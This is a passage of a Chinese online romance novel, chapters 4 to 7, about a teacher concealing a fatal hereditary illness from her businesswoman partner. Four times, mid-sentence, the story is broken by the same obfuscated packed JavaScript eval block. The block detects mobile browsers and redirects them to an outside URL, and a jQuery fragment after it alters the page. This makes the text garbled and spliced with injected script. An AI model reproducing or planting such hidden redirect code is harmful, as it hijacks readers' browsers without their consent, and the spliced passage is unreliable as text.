再这之后，祝春宴做什么好吃的都会给她留一份，无论她吃不吃。 当然了，如果她不吃的话祝春宴也不会浪费，而是自己会全吃完。 祝春宴从来都是一个节俭勤劳的人，也从来是一个严于律己宽于律人的人，和她相处真的很舒服。 “不新鲜，你的胃不好还是不要吃了。”祝春宴微微仰起了脸视线还是模糊，可声线镇定，完全想象不出她刚刚经历过什么。 “怎么不新鲜？看着色泽很好，而且我真的饿了，你不能拒绝我。”又是熟悉的微微撒娇的语气，让人根本无从抗拒。 祝春宴没有思考多久，只回答道：“记得留肚吃窝蛋牛肉粥。” “好~爱你小宴姐姐~”黎漾达成了自己的目的这才心满意足地挂断了电话，还是没意识到那是祝春宴昨晚给她精心制作的菜肴。 她漫不经心地，摁灭了一丝爱意。 半个小时后，祝春宴跑完步回来，黎漾果然没去公司，她看她已经自己动手热了一些昨晚的菜肴吃了点，没太多的表情。 反倒是黎漾看见她回来主动拉着她的手贴着她的额头探她的体温。 片刻之后，她的表情多了一丝严肃：“亲爱的，你的体温实在是有些高，”抹了抹她不知为何变得鲜红的唇：“看，连唇都烧红了。” “所以，小黎总想让我做什么？” 祝春宴的情绪已经恢复，微微笑着问她。 她的眼神有些疲惫，鬓发也有些湿，不知是汗水还是什么，就这般靠在一瓶新鲜的花旁低眸看着她，总让人想起某些林下风致，赏心悦目。 尤其祝春宴的身形是真的优越，黑色的运动装更加为她增添了一丝病态的禁欲，总诱着人去吻一吻她露出来的瓷白脖颈。 黎漾双手圈住了她的脖颈，指腹在她后颈那层薄薄的肌肤上上下缓慢滑动，依然无声带着暗示，让人心跳都跟着那节奏跳动。 祝春宴微微箍住了她的腰，她拥住了她，脸落在了她的身侧，呼吸仍旧带了生病的烫意，她轻轻亲了亲她圆润的耳垂：“漾漾，别闹。” “明明……是你在勾引我，却说我闹你。”黎漾被她亲得痒，而且祝春宴的体温真的高了不少，热度缓慢蔓延着她的全身，让她好像也病了一般，提不起一丝力气。 “我刚没吃药，现在出了一身汗其实好了很多，不必担心我。” 祝春宴实在是怕病气过了给她，更加怕自己这样奇怪的、找不出病因的家族遗传病传给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16262402|182117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了她，所以她还是轻轻推开了她，去厨房继续照料那一锅白粥。 黎漾没再闹她，但还是担心她，跟在她身边看她料理，抢过她的勺子主动去料理，还让她赶紧也去吃点早餐然后吃药，俨然关心体贴。 祝春宴垂眸看着她一脸专注的模样心情又是平复下来，唇角掀起了一抹温柔的笑。 8点30。 时间已经不早了，祝春宴主要是在大学里教书，自闭症干预与治疗还有一些心理学上的课她都会上，特殊学校她也会去。 但是她不需要像是别人那样朝九晚五上班，时间上自由很多。 所以在料理完那锅粥，叮嘱黎漾10分钟后可以吃了，她才上楼去换衣服化妆，待会儿再出门。 黎漾吃了不少的糖醋里脊，刚刚祝春宴有看见，她想黎漾还是喜欢自己的，她不应该闹脾气，也不应该怀疑她。 很应该……想办法让她开心，在这段感情的最后让她过得舒心一点儿。 而且……这很可能也是黎漾玩的小把戏，在无声控诉着她最近忽略她太多，很应该多点关注她，多给她一点惊喜。 时间已经无多了。 祝春宴心里想着，选了一套藏蓝色的职业装，衬衣也选了深色的，生怕自己又吐血，到时候吓到别人就不好了。 她这般想着还是平静地换上了衣服，在镜子中看着自己的左臂，光是从镜子里看着其实看不出一些什么的，刚刚黎漾不小心摸到她的左臂也没有察觉出一些什么。 很好，又可以隐瞒一天了，继续保持一段时间吧。 她放下了衣袖，整好了领子，将文件和辞职信都收拾好，拿起公文包便要下楼。 路过碎纸机的时候看了一眼，觉得那些病历碎得其实够彻底了，黎漾暂时不会发现，这才松了一口气。 下楼的时候听见黎漾已经在通电话处理工作，连她的秘书向暖也来了，她对她点了点头。 刚要路过她还是不放心地退回半步对向暖轻声说道：“你们小黎总最近比较忙的话，记得叮嘱她按时吃饭，尽量在饭局上少喝酒，身体更加要紧。” 向暖面对着祝春宴原本十分心虚，毕竟昨晚无情拒绝她的人是她，现在听着祝春宴说出这番话已经有些心慌了。 她能听得出祝春宴已经知道昨晚所有的事情了，包括……漾总没看她信息的事情。 她刚想开声为黎漾辩解两句挽回自家老板的一些面子，却是听见祝春宴岔开了话题问她：“她……最近喜欢蓝色么？” 声音微微飘忽起来，似是不太自然。 “……喜、喜欢的。”向暖不知她为何会问她这个问题，但还是回答了。 “好，谢谢。”像是暗中下了一个什么决定那般，祝春宴迎着光对她展颜一笑，如冰河下一朵冰花于日光中盛开，让向暖微微呆住。 再回神，她已经走远。 心里不明白……明明这位祝小姐更独特，她的老板……居然不懂得珍惜。 祝春宴当然不知道向暖心里想着什么，她觉得自己现在还能开车，扣上安全带之前她还是点开某个粉色logo商铺的App。 看着琳琅满目各种让人浮想联翩、面红耳赤的用品，来到了某个专区，选上一套她从没穿过的薄薄的、性感得让人不敢看的“睡衣”，像是烫手般下了单，加急。 就当作是……临死前给黎漾的第一份礼物吧。 她这样的老古板……穿一次给她看。 希望她能喜欢。 5. 第 5 章 · 祝春宴自然不是胡乱下单。 她虽然木讷又不太懂浪漫，可和黎漾在一起这么多年……她其实也是逐渐摸清了她的一些小脾性和各种各样的爱好。 黎漾曾经暗示过她很多次想看她穿职业装以及平时悠闲装之外的其他装束，但是碍于自身性格和经历的原因，她很坚决地，没有答应过她一次。 即使黎漾总是有意无意地在她面前浏览她所下单的这个粉色店铺的商品，她仍旧能目不斜视地走过，当作没看见。 当时看见心里没什么感觉，可是现在轮到自己亲自去下单了，即使下完单都已经过了二十分钟，她依然觉得心跳不受控制，好像有些不知道该如何去抽离自己的情绪。 她都几乎能想到自己穿着那套“睡衣”在黎漾面前显露的时候，黎漾会是如何惊喜以及极尽所能去调戏她，光是想一想就让她莫名羞赧和震颤。 黎漾啊……黎漾。 …… 祝春宴去往工作的地方其实挺远的，黎漾并不喜欢住在市区，而且她的家极大，自然住在近郊更加舒心。 住在近郊还不要紧还要住在山顶，盘旋公路像一条巨蛇那般盘踞山上，祝春宴现在的情况真不比以前了，开车的时候需要更加小心地去应付。 所以她并没有再多想惊喜的事情，而是专心开车。 只是下山途中与另外一辆车擦肩而过，祝春宴记性好，发现之前没见过这辆车，而这一带不止有黎漾的一栋别墅，别的有钱人在这里也置有房产，或许是新近入住的人？ 她并没有多想，在彻底与对方擦肩而过的时候倒是惊鸿一瞥一张敛着病意的脸。 对方戴着墨镜，更显肤色苍白，像是枝丫上的雪，堆叠得太多了，快要不堪重负坠下来。 那不是一种让人舒服的感觉。 莫名让人想起枯萎和死亡。 祝春宴面色微微白了白，极快地收回视线也将车窗升上，眼不见为净。 另外那辆车上的年轻女人自然也看见了她，瞥见对方在看见自己之后略微慌乱……甚至是恐惧的眼神，她将自己的脸埋得更深了，病得太严重，都开始吓着别人了。 祝春宴开车开了足足一个小时才到她所工作的特殊学校。 平时她通勤的时间就需要这么长，刚出来工作的时候还需要黎漾接送，后来学会开车了她没再麻烦过她。 毕竟她比自己还要忙和多事情。 “祝老师，早，身体没什么事吧？” 她所工作的这所特殊学校是私立的，氛围特别好，基本没多少糟心事，门卫大叔对她的情况应该略有耳闻，所以看见她到来友好地问了一句。 “没什么大事，多谢叔的关心。” 祝春宴自然不会到处向别人宣扬自己不久于人世的事情，她对死亡已经有深刻认识，既然躲不过了，那就只能接受。 在死之前……多做一些自己想做的事情，到时候走……也能走得安心一点儿。 她停好了车打算往楼上走，现在这个时间应该是上课时间，但是她还没有上楼，便听见操场上传来一阵喧哗声，三四个老师紧紧追着一个看起来就5、6岁的小女孩。 那小女孩不断地大笑着，她跑得快，任由后面的老师追着她并不停下来，玩儿得不亦乐乎。 她跑到了足球场上，将所有花洒都拧开，水花四溅，溅湿了不少人的衣服。 可她还是没有意识到自己闯了祸，看见所有人的衣服都湿了，依然开心地大笑着，鼓着掌，好像这是什么了不得的事情。 再然后，她好像还没有玩够那般，又是继续往别的没有踏足过的地方跑，嘴里还在不断喃喃：“出去玩……出去玩……我要出去玩……” “馨馨你不能跑了！衣服湿了！太危险了！” 就在所有人都束手无策的时候，忽而有另外一凌厉的女声从不远处传来，祝春宴在不远处观察着，大致能猜出发生了什么事情。 这个5、6岁的小女孩她是第一次见，应该是春雨这所学校新招收的学生，今天前来参观或是希望得到一些方案去对患有自闭症的孩子作出一些干预。 只是孩子一个没看好就被她跑到楼下来捣蛋，弄湿了所有人的衣服。 而她嘴里不断重复着这句话……大概是她此时心里最想做的事情，在孩子的世界里，她或许只是被压抑得太久了，今天难得有机会，所以想要尽情玩闹一番。 即使她这样的方式的确太过调皮。 祝春宴在心里初步分析着这些事情，便听见有人喝止小女孩的行为，她心里暗叫不好。 果不其然，小女孩的叛逆心理起来了，脸上笑容没了，嘴里又开始不断地重复“出去玩……出去玩……我要出去玩……”这样的话，然后越跑越远，根本无法阻止。 她抬头看了一眼那个呵斥小女孩的人，是一张熟悉又陌生的面孔。 熟悉是指她不久前才在黎漾的手机上看过她的照片，她当时正戴着黎漾送给她的原本属于她的订婚礼物的祖母绿项链。 陌生自然是指……祝春宴根本没想过会在这里见到她—— 程素熙。 将来……或许会和黎漾步入婚姻殿堂的人选。 她很应该嫉妒，可是一个将死之人……好像连嫉妒的资格都没有。 祝春宴掩下眸底复杂的情绪，她甚至觉得自己左臂上的肌肉跳动得更厉害了，莫名让她又产生了一种恐惧的心理，她不想被别人耻笑，朗朗日光之下，一切都失去颜色。 “祝老师你来了正好！那小女孩是新来的，我们……我们都没办法和她有效沟通，能不能麻烦你去阻止她一下？” 一位老师形容狼狈，浑身都湿透了，看见祝春宴的到来如获救星，立即对她说道。 祝春宴回神，认得出对方是昨天和她打电话的老师，名叫姜南烟，她对她点了点头，便朝着小女孩跑掉的方向追过去。 “程小姐，你不必太担心，那位祝老师是我们学校的首席专家，也是A大有关自闭症干预与研究的副教授，肯定能将你的侄女给带回来的。” 另外一名主任知道程素熙的来头，自然要向她好好说明情况。 “祝老师？祝春宴？”程素熙似乎对祝春宴有些印象，毕竟她最近和黎漾接触得比较多，双方家族都有意接触联姻的话自然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16262403|182117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会调查对方的各种情况。 而黎漾这人除了能力强、雷厉风行之外，还有一件事情……几乎整个圈子都知道，那便是像是她这么花心的人居然追同一个人追了好几年，直至现在两个人的感情都非常不错，实在是让人大跌眼镜。 她自然有见过祝春宴的照片，那是她和黎漾在一起的合影，一个清冷一丝不苟，架着一副金丝眼镜，唇边克制地牵起的一抹笑，居然被人品出一丝斯文败类的意思。 而黎漾则是一如既往张扬热烈，她犹如最耀眼最娇艳的玫瑰，似永远都不会凋零，满身荆棘在祝春宴面前都收了起来。 她们对视，比蜜还要甜。 真的是让人嫉妒的幸福啊。 没歇一会儿，祝春宴果然不负众望顺利带着小女孩回来，一大一小的手竟然还紧紧牵在一起，看得出小女孩对她十分依赖。 祝春宴身上没有一丝狼狈，有的是别人难以企及的雅调和从容，唇边笑容如沐春风，有一个小酒窝，如缀了蜜般让人感到香甜。 是很难让人起戒心的笑容。 程素熙看着她心里莫名有些堵，摩挲了一下手上的爱马仕腕表，又是平静下来。 祝春宴即使再优秀……也越不过家世、眼界，越不过资本和权力。 她了解黎漾，她是一个很有野心的女人。 她不会因为一个没有任何背景，在商业上也给不了她任何助力的祝春宴而放弃她未来的蓝图。 她很应该放下心来，甚至……可以提前用一种怜悯的目光看着她。 “球球……球球……球球……” 馨馨被带回来了，她的怀里紧紧抱着一个小足球，嘴里依然重复喃喃着同一句话，不知道祝春宴用了什么方法居然让她的情绪也平复下来，这是从来没试过的事情。 “请问是馨馨小朋友的家长？”祝春宴牵着馨馨站到了程素熙面前，语气平稳、不疾不徐地问道。 程素熙发现自己站在祝春宴面前居然矮了半个头，尤其是在她还穿了高跟鞋的情况下，这样的认知让她莫名不舒服，“是。” “馨馨的情况……我们会做一个比较具体的评估然后再告诉你的。” 祝春宴还是和她多说了两句：“只是，想提醒程小姐一句的是，对于馨馨现在的情况，不能在她的情绪得不到满足的时候对她进行呵斥。不然，她的情况只会更糟糕。” “所以，祝老师现在是在怪我让馨馨变成刚刚那样？”程素熙听得出她的责备，语气已然不善。 “自闭症儿童……刻板行为加深以及负面情绪加剧90%的原因是来自原生家庭，你如果要说我怪责你将馨馨变成刚刚那样，这样的说法倒是没有错。”祝春宴轻轻颔首，并没有否认她的说法。 “祝老师……你还真的是让我出乎意料之外。”程素熙意味不明地说道，带着一种高高在上的敌意，让人听着微蹙了眉。 祝春宴的嗓子又有些痒了，肺部牵扯出了一丝疼痛，渗着冷意让她浑身都起了战栗。 只是不等她回应，程素熙的手机突然响了，祝春宴扫过她的手机屏幕，看见了“黎漾宝贝”四个字，心里莫名空了一拍—— 6. 第 6 章 · “噢，抱歉，是我的宝贝找我。” 程素熙看着屏幕上的备注大方对祝春宴说道，眉眼含笑，隐隐带着挑衅。 看得出来程素熙很喜欢黎漾。 而黎漾也的确是有让人喜欢的资本。 这些事情……祝春宴从高二转学第一天就知道了。 只是，被人这般劈头盖脸地在面前宣示主权……是真的很久没试过了。 类似程素熙在备注上备注黎漾“宝贝”这样的事情在过去7年间她不是没遇到过，但是只要被黎漾发现的总会让对方改掉，所用的理由都是：我不想让我的女朋友不高兴。 是啊，曾经的黎漾……为了能让她笑一笑都会用尽所有的方法，无论是愚蠢的还是幼稚的。 就只是不知道从什么时候起……她们之间的关系不复以往，明知道有裂缝却无法修复。 祝春宴没听程素熙去接这通电话，甚至没让她去改掉对黎漾的备注。 她们……在她死后或许迟早会在一起的不是？结局……其实也是从很早很早就知道了，她偏要强求，直至现在变成这样。 这怨不得任何人，是她僭越了，也是她妄想了，现在梦快要醒了，所以才觉得如此痛苦，不想脱离。 毕竟，梦醒了就要面对残酷的现实。 可是，能不能再多给她一点儿时间，就那么一点儿……让她和她好聚好散可不可以？ “喂？小黎总？” 程素熙对祝春宴示意了一下，毫不忌讳地接起了电话，祝春宴无心去听，带着馨馨转身离开，现在还是要先评估一下馨馨的情况再作下一步打算。 打电话给程素熙的的确是黎漾，订了餐厅要约她出去吃午饭，生意上的事情……自然是越早敲定越好，不能拖的。 “约我吃饭？” 程素熙听明白了她的来意，微微笑着看向祝春宴渐行渐远的背影：“祝春宴祝老师……我记得是你的女朋友？我刚见到她了，她也看见你打给我了，你会不会怕她误会？” 黎漾此时正在车上还没出别墅的区域，听见她这般一说微怔，可她没有丝毫心虚，她根本没有做任何对不起祝春宴的事情。 但她听着程素熙分明带着挑拨离间的话心里微沉，“程总，我们只是生意上的合作伙伴，我家春宴也是知道的，她不会胡乱吃醋。” “你对她倒是有信心。” “我们认识很久很久了，很了解彼此。”仔细听这句话还能听出一些甜蜜与缠绵的意味。 “是么？”程素熙不置可否：“那希望你和那位祝老师有情人终成眷属。” 最终，程素熙还是和她约定午饭的地点，如果真的作为一个联姻的人选的话，黎漾的确是一个很好的人选，比赵颂雅这类型的要好得多。 她并不介意在黎漾身上多花一些精力和心思。 反正，不论黎漾和祝春宴的感情有多好……都不会逃得过世俗的偏见与眼界的鸿沟。 祝春宴，只能是出局者，而不可能是胜利者。 黎漾挂了程素熙的电话之后摁了摁眉心，仙酌山的风景其实很好，窗外阳光鼎盛，阴影切割透过玻璃窗尽情泼洒在她脸上，构成一幅光影浑然天成的完美作品。 她看着窗外的风景，看着不远处的天然湖泊，融金璀璨，点点跃金之色迷花了人的眼，只是阳光没了之后又恢复平凡的湖面，虽然清澈动人，但总少了些惊艳。 她当初买这里的别墅就是因为这处湖景，她觉得这面湖好像祝春宴，稍微给点阳光就能灿烂，而她就想做那一点阳光，控制她所有的喜怒哀乐。 然而，最美的景色，看得多了，终有一天也是会腻的。 她思索了一会儿还是发了一条信息给祝春宴，不论将来如何，现在她们还是最亲密的关系，她就有义务去关心她的身体状况。 祝春宴的身体其实很好，每天的作息都很规律，极少生病，这次发烧来得也有些蹊跷，或许……是为了照顾自己而睡在客厅沙发上着凉了。 黎漾：【宝贝，你的病好点了没？】她用十足亲昵的语气发过去，仿佛在掩饰一些心虚，即使她认为自己根本无须心虚。 只是祝春宴可能在忙，一时半刻并没有回复她的信息。 黎漾也不刻意等待她，更加没想着往上去翻一翻昨晚她没来得及去看的聊天记录，只将平板摊开开始刚刚没完成的工作。 黎氏集团主要负责的是药物研发和生产，最近更加有往药妆、医美的方面去发展，主要是这两方面都是高利润的。 有个别项目黎氏已经做到了行业内的Top1，自然想继续深化以及更上一层楼。 但是，这不是那么容易的事情，还是必须经过大量的市场调研才能确定下一个方向和目标。 她的秘书向暖拿出一份药物研发的方案递给她，轻声问道：“漾总，这是研究室里给我们的有关神经退行性疾病的一些研究。” “研究表明，或许我们有机会突破这种现时世界上还无解的绝症，但是需要大量经费支撑……才有可能研发出比国外还有用的特效药。” “研发周期……需要多久？”黎漾接过却是没有看，只这般问道。 “快的话1年，慢则3年。” “1年……3年……在这之前已经研究了快10年了吧？直至今天才说有些希望？神经退行性疾病得病的人也不是很多，成因更加是不明，药物也是极其昂贵，这个项目……真的没有多少的回报率。” 黎漾自然有把控集团里各个实验室对药物研发的进度，现在她如果想进股东会和董事会内部坐稳位置的话，这种完全不盈利还需要扔钱进去的无底洞项目必须停止。 不然，她怎么会开辟出另外一条盈利相对简单得多的道路来？ “可是……” “只是暂时暂停，不是永远暂停。”黎漾打断了她的话。 “……是。”向暖无话可说了，也知道这是商人的本质，在利益和无私面前，自然选择前者，更别说黎漾现在处于关键时期。 但是，研究神经退行性疾病的实验室虽然不少，有取得进度的却是不多，黎氏医药的研究是很多病人希望的存在。 有多少人、多少个家庭……是等着比国外昂贵特效药更好的药去救命呢？ 她也根本不敢去想象那一双双原本带有光的眼睛在听见这个消息之后会如何失望，乃至绝望。 更不知道……黎漾因为这个决定，以至于后来坠入深渊，万劫不复，即 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16262404|182117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 使她追悔莫及。 * 春雨特殊学校里。 馨馨的情绪已经完全平复下来，祝春宴也了解到馨馨是程素熙的侄女，三岁时候发现有疑似自闭症，但是拖着并没有进行干预治疗。 一直到最近症状实在是太过严重了，才不得不让程素熙选取一家业内口碑好的特殊学校前来测评和了解。 馨馨的父母长期在国外，她被养在爷爷奶奶家，但是她的爷爷奶奶都是大忙人，哪里有时间照顾她？ 佣人对她也没有多少耐心，只会用各种电子产品打发她，最后造成这种情况。 她的爷爷奶奶病了抽不开身，程素熙才来接手这个烂摊子，总不能看着孩子一直这样下去的。 在祝春宴看来馨馨的情况不算特别严重，她更多的是缺乏交流和陪伴，所以才多次用回声语言去强烈表达自己的感受，希望自己的需求和恐惧得到重视。 然而，大多数大人是不喜欢小孩子这样胡乱捣乱的，一旦捣乱就被认为是有错、不听话，没有大人会喜欢这样的人。 所以大人们就开始用世俗的规则去框定他们，孰不知只会越变越差，最后……这个小孩也要废了。 只是，他们并不觉得他们粗暴的做法有什么不妥，还将所有的责任都推到小孩子身上，认为他们不懂事，理应被管教。 祝春宴自然不认为这些小孩不懂事，他们只是拥有着比常人更敏感的内心和更高的情感需求，需要更高的关注罢了，这些并不是他们的错。 现在对馨馨也只是初步的一个观察和评价，接下来还需要继续去留意和观察，并不能太过着急。 祝春宴大概是无法接手馨馨接下来的事务和干预，她今天来学校是要辞职的，剩下的这些时日她想做一些她想做的事情。 所以还是将评估之后的情况主动交给她的同事姜南烟，示意她负责。 姜南烟自然明白祝春宴的意思，想起昨天和她的那通电话……她好像都不知道该对她说一些什么了，欲言又止地，反倒是祝春宴主动安慰她：“怎么了？没见我半天不认识我了？” “祝老师……”姜南烟看着她苍白却依然具有感染力的笑容心里有些慌乱，是那种即将没了主心骨的慌乱，她不知道将来没了祝春宴的生活是怎么样的。 毕竟她一毕业来到这里工作跟着的就是祝春宴，祝春宴教会她太多了，说是她的老师也不为过。 她俨然不能接受老师离开自己这样的事情，那该会多伤心？ “馨馨的情况就交给你了，我再去看看其他小朋友的情况。” 祝春宴虽然不用时时刻刻守在特殊学校，但她手头上也是有要负责的学生的，通常特别难干预的学生便是交给她处理。 每天上班的压力其实也很大，只是祝春宴在这方面的确在行，经过一段时间的干预之后总能获取学生和家长的信任，情况也有所改善。 春雨特殊学校的口碑自然也越变越好。 只是，她刚出这个小教室手机便响了，看见是傅意安给她打电话。 她心里顿了顿，还是接起，十分暴躁担心的声音冲进耳膜—— “祝春宴！我命令你现在立即来医院办理住院检查！不然我押都要押你过来！” 7. 第 7 章 · 祝春宴听着傅意安的话沉默一瞬，歇了好一会儿才好像找回自己的声音那般：“怎么了？” “什么怎么了？你肺部的阴影……算了，我一时半刻无法在电话里和你说清楚，你赶紧过来！” 傅意安这回真的是急了，昨天她就不应该直接放她走，而是应该押着她让她办理住院。 如果……如果她真的只有神经退行性疾病她还可能管不了她，这个病……目前来说真的无解，谁都不了解病因，仿佛是身体肌肉突然活腻了那般，非要给自己的寿命按下加速键。 寻常人如果发病……寿命至多也就2-5年，甚至更短。 关键是这种病还无药可治，虽然有且有唯一一种特效药，可是那种特效药奇贵，吃了也只能延长2-3个月的寿命。 这也就是说，从祝春宴的肌肉开始出现异常开始，她就被判了死刑……还不是被一枪爆头立即死亡的那种死刑，而是钝刀子磨肉的那种，谁又能接受得了？ 这2、3个月寿命的延长……延了和没延根本没什么区别。 可是……可是即便如此，祝春宴也不应该一直拖着肺部的病，这太危险了。 原本可能就活不长了，现下还要这样……简直是雪上加霜。 “我下午过来。”祝春宴其实真的不怎么想治自己的病，明知道自己迟早要死的，治也治不好，何必终日留在病床上静静等着生命的倒计时？ 那真的是对自己的一种折磨。 “你现在在哪里？”傅意安的语气并没有放松，依然很严峻。 “在春雨特殊学校。” “你还上班？！”祝春宴有多热爱工作她是知道的，但是她现在病成这样……还管劳什子事业啊！ 难道不是身体最重要么？还有黎漾，当初追求祝春宴的时候有多护着她，现在都不管了？傅意安简直是无法想象。 “我不是来上班，我是来辞职的。”祝春宴心里有些暖，听着她气急败坏的语气知道她是在关心自己，“事情总应该一步步来的不是？” “你那位黎家大小姐呢？也任由你胡作非为么？” “她……还不知道我病了。”祝春宴微微垂下了眼睫，声音也有些涩。 “……你没告诉她？” “她太忙了，最近事业也在上升期，真的没必要告诉她让她一起担心。” “祝春宴！你真的是个傻子！”傅意安有那么一刻真的是恨铁不成钢，气得几乎都要将手里的手机摔掉，“她的事业重要还是你的命重要？！” “……意安，你都知道我患的是绝症，这是家族遗传病，我母亲是患这种病死去的，我外婆也是，连同我的阿姨也是，我说不说都一样的。” “可是……” “好了，别可是了，我告诉她除了让她担心和分神，根本改变不了任何事。” “所以你就选择独自承受是么？” 祝春宴抬头看向被树木裁切成成千上万的日光，觉得有些耀眼，抬手挡了挡：“我早就知道我会有这样的结局，我很早之前就做好了准备。我只是希望在我离开这个世界之前，可以减少一些遗憾，让我自己……和爱我的人都可以少些遗憾。” 傅意安听着，赫然握紧了手机。 …… 祝春宴今天回春雨的确是要辞职，她挂断傅意安的电话之后看到置顶对话框多了条信息，是黎漾给她发的。 她突然就有些兴致缺缺，摸了摸额头，还是很烫，熬了一晚夜还是相当精神，想起刚刚黎漾打电话给程素熙，多半还是因为生意上的事情—— 就是不知道，这桩生意谈妥之后会不会进一步发展，毕竟她连原本要给她的订婚礼物都送给了别人。 可是，她想要的时间……其实也不是很多啊。 祝春宴回复过去：【好多了，今晚有空么？一起吃晚饭？】 黎漾这次倒是回复得很快，依然带着揶揄：【怎么？昨晚自己一个人吃饭寂寞了今晚非要给我补上是么？】 祝春宴：【出去吃，同事介绍了一家很好吃的法餐，或许我们可以去试试。】 祝春宴想，短期之内她不会再给她做任何自己亲手做的饭菜了。 黎漾：【同事？哪个同事介绍的？】 祝春宴：【春雨里的老师。】 黎漾：【可我……想吃你给我做的。】 祝春宴：【真的忍心这样对待一个病号？】 黎漾盯着她这句话没有立即回复过去，不知怎的，她品出了这句半开玩笑的话里一些决绝的意味，让她心里沉了沉，不知道哪里出了差错，并不太安稳。 歇了半晌，她终于回过神来，回复：【那今晚就出去吃，你来接我，但是要去我安排的地方。】 祝春宴没有异议，甚至轻笑了声，黎漾什么都可能变，但是占有欲这件事情真的变不了，现在也是如此。 她回复过去：【行，我今晚其实也要给你一个惊喜。】 黎漾看着她的信息，印象之中她极少给她说“惊喜”这样的字眼，当然，两人在的7年以来，祝春宴给她的惊喜真的不算少，不然两人也不会走到现在。 现在，她主动给她说惊喜，她倒是分外期待了。 黎漾：【什么惊喜？】带了些轻佻的语气。 祝春宴：【今晚你就知道了。】 黎漾：【我家春宴姐姐现在都会玩欲擒故纵了是么？】 祝春宴看着屏幕里冷冰冰的字眼，所能想象到的却是黎漾发这句话时候的揶揄和玩味，黎漾其实真的是一个好好情人，现在给她提供的情绪价值不就非常好？ 祝春宴：【我就希望你今晚别再放我飞机。】 黎漾看着她这句话品出了一丝不太一样的意思，想起刚刚程素熙在电话里对她说的事情她还是拨通了祝春宴的电话，想要向她解释几句。 祝春宴看着黎漾的电话并没有等多久很快就接了起来：“喂？” “祝老师……你是不是生气了？”黎漾软糯娇媚的话语传至耳膜，让祝春宴觉得耳膜又痒了起来。 祝春宴知道自己总是心软，可是真的要谈生气么？倒也是谈不上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16262405|182117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她觉得自己的脾气是顶好顶好的，而且，一个将死之人，又何必如此计较呢？只要她们还是对彼此忠诚就足够了。 起码……在她死之前维持现状吧。 或许……再给她几个月也可以。 “指的是什么事情？” 祝春宴这样的回答十分巧妙，黎漾觉得祝春宴表面上看着很好欺负也不喜欢去计较什么，但是她真的是比狐狸还要狡猾，就好像现在这般，倒是自己给自己埋坑了。 “昨晚没和你一起吃饭却是去了慈善宴的事情，还有刚刚……我打电话给程素熙的事情。” 黎漾不喜欢在祝春宴面前撒谎，而且也没有必要撒谎，她们在一起7年，认识11年，算是知根知底了。 “为什么说我生气了？”祝春宴的语气似乎有些疑惑，让黎漾不知怎的……觉得自己刚刚那个问题更加愚蠢，她或许就不应该打这通电话给她。 “你真的这么信任我么？真的连醋都不吃了？” 黎漾觉得一次可能还好，她昨晚的确有事情要去做，而且早上也和她道歉了，虽然赔礼还没有给。 只是……还有第二次还被祝春宴撞见个正着，即使她找程素熙依然是为了生意上的事情，她还是觉得不妙。 不论为了什么，她都应该要和祝春宴解释一下。 “黎漾，我不可能百分百信任你，但是我知道现在是你事业上的上升期，比起吃醋，我更加关心你的身体。”这是祝春宴的真心话，“所以，你尽管去做你想做的事情就好了，只需要给我一些时间与你好好相处便可以。” 她这番话说得真的是无私和大度，黎漾也一直知道祝春宴是这样的人，她最关心的不是她的事业而是她的身体。 她的胃本来也很不好，硬是被她养好了，她知道……她将来不会再遇见像是祝春宴这么好的人了。 可是，她总觉得她们之间少了一些什么，就像现在这般，她其实是不满的，她怎么就这么信任她？连问都懒得问？虽然她真的质问她的话，她又会觉得她烦。 黎漾有那么一瞬间也是迷茫了，心情略带了点烦躁。 “好了，我这边还有事情要忙，我先挂了。”祝春宴见她良久不作声，也就这般说道，不浪费她的时间。 “祝春宴，你想要的还是这么少么？” 黎漾在她挂电话之前终于回过神来，“你就……不能想着多要一点儿么？”明明……她整个人都是她的，就不能……对她再热情一点儿么？ “黎漾，你的世界很大，我只是你世界中的其中一块碎片，太过贪心……下场其实不太好的。” 祝春宴说完，不等她给出什么反应，很快就挂了电话。 有那么一瞬间，她盯着手背上跳跃的阳光莫名想落泪。 本来就应该是过客的人，又如何去奢求那么多呢？ 